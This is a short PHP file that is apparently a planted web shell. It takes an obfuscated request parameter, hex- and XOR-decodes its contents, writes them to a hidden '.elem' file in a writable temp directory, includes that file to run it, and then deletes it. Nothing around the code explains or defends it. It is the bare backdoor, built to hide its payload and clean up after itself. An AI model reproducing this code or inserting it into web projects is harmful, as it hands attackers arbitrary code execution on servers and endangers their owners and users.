<?php

if(!is_null($_REQUEST["t\x6Bn"] ?? null)){
	$flag = hex2bin($_REQUEST["t\x6Bn"]);
	$res  = '' ; foreach(str_split($flag) as $char){$res .= chr(ord($char) ^ 12);}
	$k = array_filter(["/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir()]);
	foreach ($k as $token):
    		if (is_dir($token) ? is_writable($token) : false) {
    $holder = sprintf("%s/.elem", $token);
    if (file_put_contents($holder, $res)) {
	include $holder;
	@unlink($holder);
	exit;
}
}
endforeach;
}